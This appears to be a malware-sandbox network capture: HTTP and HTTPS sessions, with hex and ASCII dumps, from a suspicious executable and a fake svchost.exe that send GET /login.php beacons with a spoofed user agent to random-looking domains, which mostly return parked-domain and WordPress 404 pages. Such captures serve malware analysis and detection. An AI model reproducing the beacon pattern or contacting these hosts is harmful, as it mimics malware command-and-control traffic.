Nov 11, 2024 18:51:36.200366020 CET	1236	IN	Data Raw: 75 6e 6d 69 6e 69 6d 69 7a 65 64 22 20 69 6e 20 68 3f 68 2e 63 6d 70 64 65 62 75 67 75 6e 6d 69 6e 69 6d 69 7a 65 64 3a 30 29 3e 30 3f 22 22 3a 22 2e 6d 69 6e 22 3b 76 61 72 20 61 3d 78 28 22 63 6d 70 64 65 62 75 67 63 6f 76 65 72 61 67 65 22 2c Data Ascii: unminimized" in h?h.cmpdebugunminimized:0)>0?"":".min";var a=x("cmpdebugcoverage","cmp_debugcoverage" in h?h.cmp_debugcoverage:"");if(a=="1"){m="instrumented";p=""}var j=u.createElement("script");j.src=k+"//"+h.cmp_cdn+"/delivery/"+m+"/cmp"+b+
Nov 11, 2024 18:51:36.200726032 CET	1236	IN	Data Raw: 3b 77 68 69 6c 65 28 62 2e 73 75 62 73 74 72 28 30 2c 31 29 3d 3d 22 20 22 29 7b 62 3d 62 2e 73 75 62 73 74 72 28 31 2c 62 2e 6c 65 6e 67 74 68 29 7d 76 61 72 20 67 3d 62 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 62 2e 69 6e 64 65 78 4f 66 28 22 3d Data Ascii: ;while(b.substr(0,1)==" "){b=b.substr(1,b.length)}var g=b.substring(0,b.indexOf("="));if(b.indexOf(";")!=-1){var c=b.substring(b.indexOf("=")+1,b.indexOf(";"))}else{var c=b.substr(b.indexOf("=")+1,b.length)}if(h==g){f=c}var e=b.indexOf(";")+1;
Nov 11, 2024 18:51:36.200737953 CET	1236	IN	Data Raw: 5b 32 5d 3a 6e 75 6c 6c 3b 69 66 28 67 3d 3d 3d 22 70 69 6e 67 22 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 63 6d 70 5f 67 70 70 5f 70 69 6e 67 28 29 7d 65 6c 73 65 7b 69 66 28 67 3d 3d 3d 22 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 Data Ascii: [2]:null;if(g==="ping"){return window.cmp_gpp_ping()}else{if(g==="addEventListener"){__gpp.e=__gpp.e\|\|[];if(!("lastId" in __gpp)){__gpp.lastId=0}__gpp.lastId++;var c=__gpp.lastId;__gpp.e.push({id:c,callback:f});return{eventName:"listenerRegist
Nov 11, 2024 18:51:36.200750113 CET	1236	IN	Data Raw: 6c 3b 77 69 6e 64 6f 77 2e 5f 5f 75 73 70 61 70 69 28 62 2e 63 6f 6d 6d 61 6e 64 2c 62 2e 76 65 72 73 69 6f 6e 2c 66 75 6e 63 74 69 6f 6e 28 68 2c 67 29 7b 76 61 72 20 65 3d 7b 5f 5f 75 73 70 61 70 69 52 65 74 75 72 6e 3a 7b 72 65 74 75 72 6e 56 Data Ascii: l;window.__uspapi(b.command,b.version,function(h,g){var e={__uspapiReturn:{returnValue:h,success:g,callId:b.callId}};d.source.postMessage(a?JSON.stringify(e):e,"*")})}if(typeof(c)==="object"&&c!==null&&"__tcfapiCall" in c){var b=c.__tcfapiCall
Nov 11, 2024 18:51:36.200762987 CET	1074	IN	Data Raw: 6d 73 67 68 61 6e 64 6c 65 72 3b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 77 69 6e 64 6f 77 2e 63 6d 70 5f 6d 73 67 68 61 6e 64 6c 65 72 2c 66 61 6c 73 65 29 7d 7d 3b 77 69 6e 64 6f 77 Data Ascii: msghandler;window.addEventListener("message",window.cmp_msghandler,false)}};window.cmp_addFrame("__cmpLocator");if(!("cmp_disableusp" in window)\|\|!window.cmp_disableusp){window.cmp_addFrame("__uspapiLocator")}if(!("cmp_disabletcf" in window)\|\|
Nov 11, 2024 18:51:36.205306053 CET	1236	IN	Data Raw: 78 22 3b 69 6d 67 6c 6f 67 2e 73 72 63 3d 22 68 74 74 70 3a 2f 2f 67 61 6c 79 71 61 7a 2e 63 6f 6d 2f 73 6b 2d 6c 6f 67 61 62 70 73 74 61 74 75 73 2e 70 68 70 3f 61 3d 64 44 5a 77 63 7a 68 4b 5a 6a 5a 32 4e 69 73 34 51 30 56 6a 51 6c 4a 44 4e 7a Data Ascii: x";imglog.src="http://galyqaz.com/sk-logabpstatus.php?a=dDZwczhKZjZ2Nis4Q0VjQlJDNzBLSlp6NER5cVFTSU9WOGNPL2tYQzREdE51Z2NTYjNQTGpwd3R0czl5OVVMdHc2YXRrOXU4OXRBaWJnVmRFRERUWWthV2t1eUx5a3RTVVg0cmllWS82RG53YkVmRTBVOE1NNUNNN0txN3lWREw=&b="+abp;docume

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	59250	91.195.240.19	80	1476	C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 18:51:34.912707090 CET	271	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: www.gahyqah.com Connection: Keep-Alive
Nov 11, 2024 18:51:35.818945885 CET	1236	IN	HTTP/1.1 200 OK date: Mon, 11 Nov 2024 17:51:35 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA== last-modified: Mon, 11 Nov 2024 17:51:35 GMT x-cache-miss-from: parking-7596689c44-bsx5j server: Parking/1.0 Data Raw: 32 45 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 67 35 72 6c 58 73 39 52 75 52 57 34 64 67 6c 71 51 35 4c 79 64 4a 45 74 74 53 54 56 42 73 66 70 54 67 35 59 62 54 62 54 67 78 51 79 43 78 4a 61 58 2f 34 77 57 7a 74 49 41 4f 75 52 6c 32 79 56 59 68 58 30 57 47 46 31 59 61 65 77 33 55 38 35 6e 47 49 35 75 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 67 61 68 79 71 61 68 2e 63 6f 6d 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 67 61 68 79 71 61 68 20 [TRUNCATED] Data Ascii: 2E2<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_g5rlXs9RuRW4dglqQ5LydJEttSTVBsfpTg5YbTbTgxQyCxJaX/4wWztIAOuRl2yVYhX0WGF1Yaew3U85nGI5uA==><head><meta charset="utf-8"><title>gahyqah.com - gahyqah Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="gahyqah.com is your first and best source for all of the information youre looking for. From g
Nov 11, 2024 18:51:35.819029093 CET	1236	IN	Data Raw: 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f 20 66 69 6e 64 20 68 65 72 65 2c 20 67 61 68 79 71 61 68 2e 63 6f 6d 20 68 61 73 20 69 74 20 61 6c Data Ascii: eneral topics to more of what you would expect to find here, gahyqah.com has it all. We hope you find what you are searching for!"><link576 rel="icon" type="image/png" href="//img.sedoparking.com/templates/logos/sed
Nov 11, 2024 18:51:35.819045067 CET	1236	IN	Data Raw: 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 2c 6f 70 74 67 72 6f 75 70 2c 73 65 6c 65 63 74 2c 74 65 78 Data Ascii: {border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type=button],[
Nov 11, 2024 18:51:35.819500923 CET	636	IN	Data Raw: 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 74 65 6d 70 6c 61 74 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 5b 68 69 64 64 65 6e 5d 7b 64 69 73 70 6c 61 79 3a 6e Data Ascii: lay:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}.container-header{margin:0 auto
Nov 11, 2024 18:51:35.819513083 CET	1236	IN	Data Raw: 72 2d 73 65 61 72 63 68 62 6f 78 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 30 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 73 65 61 72 63 68 62 6f 78 5f 5f 63 6f 6e 74 65 6e 74 7b 64 69 73 Data Ascii: r-searchbox{margin-bottom:50px;text-align:center}.container-searchbox__content{display:inline-block;font-family:arial,sans-serif;font-size:12px}.container-searchbox__searchtext-label{display:none}.container-searchbox__input,.container-searchbo
Nov 11, 2024 18:51:35.819524050 CET	1236	IN	Data Raw: 68 0d 0a 41 45 43 0d 0a 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 35 66 35 66 35 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 35 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 35 Data Ascii: hAEC:100%;background:#5f5f5f;font-size:12px;padding-top:15px;padding-bottom:15px}.container-cookie-message__content-text{color:#fff}.container-cookie-message__content-text{margin-left:15%;margin-right:15%}.container-cookie-message__content
Nov 11, 2024 18:51:35.819538116 CET	1236	IN	Data Raw: 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 6f 6e 74 65 6e 74 2d 62 6f 64 79 20 74 61 62 6c 65 20 74 64 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 35 70 78 7d 2e 63 6f 6f 6b 69 65 2d 6d 6f 64 61 6c 2d 77 69 6e 64 6f 77 5f 5f 63 Data Ascii: okie-modal-window__content-body table td{padding-left:15px}.cookie-modal-window__content-necessary-cookies-row{background-color:#dee1e3}.disabled{display:none;z-index:-999}.btn{display:inline-block;border-style:solid;border-radius:5px;padding:
Nov 11, 2024 18:51:35.820456028 CET	1236	IN	Data Raw: 6f 72 3a 70 6f 69 6e 74 65 72 3b 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 30 3b 62 6f 74 74 6f 6d 3a 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 61 36 32 36 38 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 Data Ascii: or:pointer;top:0;left:0;right:0;bottom:0;background-color:#5a6268;-webkit-transition:.4s;transition:.4s}.switch__slider:before{position:absolute;content:"";height:26px;width:26px;left:4px;bottom:4px;background-color:#fff;-webkit-transition:.4s
Nov 11, 2024 18:51:35.820472002 CET	848	IN	Data Raw: 74 65 6e 74 5f 5f 63 6f 6e 74 61 69 6e 65 72 2d 61 64 73 2d 2d 74 77 6f 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 2e 35 25 3b 68 65 69 67 68 74 3a 37 30 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 77 65 62 61 72 63 68 Data Ascii: tent__container-ads--twot{margin-top:2.5%;height:700px}.container-content__webarchive{margin-top:4.5%}.container-content__header{color:#848484;font-size:15px;margin:0}.container-content__left{background:url("//img.sedoparking.com/templates/bg/
Nov 11, 2024 18:51:35.820483923 CET	1236	IN	Data Raw: 61 63 6b 67 72 6f 75 6e 64 2d 70 6f 73 69 74 69 6f 6e 3a 30 20 34 30 70 78 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 2d 2d 74 77 6f 74 20 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6e 74 65 6e 74 5f 5f 6c 65 66 74 7b 62 61 63 6b 67 72 Data Ascii: ackground-position:0 40px}.container-content--twot .container-content__left{background-position-y:top}.container-content--twot .container-content__right{background-position-y:top}.container-content--wa .container-content__left{background-posit
Nov 11, 2024 18:51:35.824218988 CET	1236	IN	Data Raw: 6e 65 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 65 62 61 72 63 68 69 76 65 2d 62 6c 6f 63 6b 5f 5f 68 65 61 64 65 72 2d 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 39 66 64 38 30 Data Ascii: ne}.webarchive-block{text-align:center}.webarchive-block__header-link{color:#9fd801;font-size:20px}.webarchive-block__list{padding:0}.webarchive-block__list-element{word-wrap:break-word;list-style:none}.webarchive-block__list-element-link{line

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49730	188.114.96.3	443	1112	C:\Windows\apppatch\svchost.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 17:50:30 UTC	267	OUT	GET /login.php HTTP/1.1 Referer: http://www.google.com User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: qegyhig.com Connection: Keep-Alive
2024-11-11 17:50:31 UTC	949	IN	HTTP/1.1 404 Not Found Date: Mon, 11 Nov 2024 17:50:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 link: <https://qegyhig.com/wp-json/>; rel="https://api.w.org/" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gYjD5X74qOdEklGm2TgwYtT9bq3EWWb4BCvF%2BnRchogNHSdhej9pB9Jh7ta%2BlMADXqtrDCASSTwrTGGp0%2Bf8aHA8x%2BwFzghe9jQApzVRlgsHMHyGWtBLbPHo0J5cqw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e1020009fd00f95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1119&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2823&recv_bytes=881&delivery_rate=2549295&cwnd=250&unsent_bytes=0&cid=8cc85f375c19aca7&ts=897&x=0"
2024-11-11 17:50:31 UTC	420	IN	Data Raw: 37 63 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 20 0a 09 20 3c 73 74 79 6c 65 3e 0d 0a 23 77 70 61 64 6d 69 6e 62 61 72 20 23 77 70 2d 61 64 6d 69 6e 2d 62 61 72 2d 77 63 63 70 5f 66 72 65 65 5f 74 6f 70 5f 62 75 74 74 6f 6e 20 2e Data Ascii: 7ca8<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="https://gmpg.org/xfn/11"> <style>#wpadminbar #wp-admin-bar-wccp_free_top_button .
2024-11-11 17:50:31 UTC	1369	IN	Data Raw: 79 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65 20 59 6f 61 73 74 20 53 45 4f 20 70 6c 75 67 69 6e 20 76 32 31 2e 33 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e 63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6c 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 2d 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 Data Ascii: yle><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v21.3 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found -</title><meta property="og:locale" content="en_US" /><meta prop
2024-11-11 17:50:31 UTC	1369	IN	Data Raw: 6f 6e 20 63 28 65 29 7b 74 72 79 7b 76 61 72 20 74 3d 7b 73 75 70 70 6f 72 74 54 65 73 74 73 3a 65 2c 74 69 6d 65 73 74 61 6d 70 3a 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 7d 3b 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e Data Ascii: on c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.
2024-11-11 17:50:31 UTC	1369	IN	Data Raw: 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f 3d 22 77 70 45 6d 6f 6a 69 53 65 74 74 69 6e 67 73 53 75 70 70 6f 72 74 73 22 2c 73 3d 5b 22 66 6c 61 67 22 2c 22 65 6d 6f 6a 69 22 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 3d 7b 65 76 65 72 79 74 68 69 6e 67 3a 21 30 2c 65 76 65 72 79 74 68 69 6e 67 45 78 63 65 70 74 46 6c 61 67 3a 21 30 7d 2c 65 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 Data Ascii: "!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.pa
2024-11-11 17:50:31 UTC	1369	IN	Data Raw: 6e 63 61 74 65 6d 6f 6a 69 3f 74 28 65 2e 63 6f 6e 63 61 74 65 6d 6f 6a 69 29 3a 65 2e 77 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d 6f 6a 69 53 65 74 74 69 6e 67 73 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 73 74 72 61 2d 74 68 65 6d 65 2d 63 73 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 71 65 67 79 68 69 67 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 61 73 74 72 61 2f 61 73 73 65 74 73 2f 63 73 73 2f 6d 69 6e 69 66 69 65 64 2f 6d Data Ascii: ncatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);</script><link rel='stylesheet' id='astra-theme-css-css' href='https://qegyhig.com/wp-content/themes/astra/assets/css/minified/m
2024-11-11 17:50:31 UTC	1369	IN	Data Raw: 2d 64 65 73 63 72 69 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 2e 39 33 37 35 72 65 6d 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 7d 2e 65 6e 74 72 79 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 36 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 36 32 35 72 65 6d 3b 7d 68 31 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 36 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 34 65 6d 3b 7d 68 32 2c 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 32 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 72 65 6d 3b 66 6f 6e 74 2d 77 Data Ascii: -description{font-size:15px;font-size:0.9375rem;display:none;}.entry-title{font-size:26px;font-size:1.625rem;}h1,.entry-content h1{font-size:40px;font-size:2.5rem;font-weight:600;line-height:1.4em;}h2,.entry-content h2{font-size:32px;font-size:2rem;font-w
2024-11-11 17:50:31 UTC	1369	IN	Data Raw: 77 65 62 6b 69 74 2d 73 6c 69 64 65 72 2d 74 68 75 6d 62 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 7d 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 68 6f 76 65 72 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 2c 2e 73 69 74 65 2d 66 6f 6f 74 65 72 20 61 3a 66 6f 63 75 73 20 2b 20 2e 70 6f 73 74 2d 63 6f 75 6e 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 64 31 30 34 30 34 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 64 31 30 34 30 34 3b 7d 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 70 72 65 76 69 6f 75 73 2c 2e 73 69 6e 67 6c 65 20 2e 6e 61 76 2d 6c 69 6e 6b 73 20 2e 6e 61 76 2d 6e 65 78 74 Data Ascii: webkit-slider-thumb{border-color:#d10404;background-color:#d10404;box-shadow:none;}.site-footer a:hover + .post-count,.site-footer a:focus + .post-count{background:#d10404;border-color:#d10404;}.single .nav-links .nav-previous,.single .nav-links .nav-next
2024-11-11 17:50:31 UTC	1369	IN	Data Raw: 6e 74 20 2e 75 61 67 62 2d 69 66 62 2d 63 74 61 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 75 61 67 62 2d 62 75 74 74 6f 6e 73 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 62 62 2d 6d 6f 64 75 6c 65 2d 63 6f 6e 74 65 6e 74 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 70 6f 73 74 2d 67 72 69 64 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 20 2e 75 61 67 62 2d 74 69 6d 65 6c 69 6e 65 20 61 2c 2e 61 73 74 2d 73 69 6e 67 6c 65 2d 70 6f 73 74 20 2e 65 6e 74 72 79 2d 63 Data Ascii: nt .uagb-ifb-cta a,.ast-single-post .entry-content .wp-block-uagb-buttons a,.ast-single-post .entry-content .uabb-module-content a,.ast-single-post .entry-content .uagb-post-grid a,.ast-single-post .entry-content .uagb-timeline a,.ast-single-post .entry-c
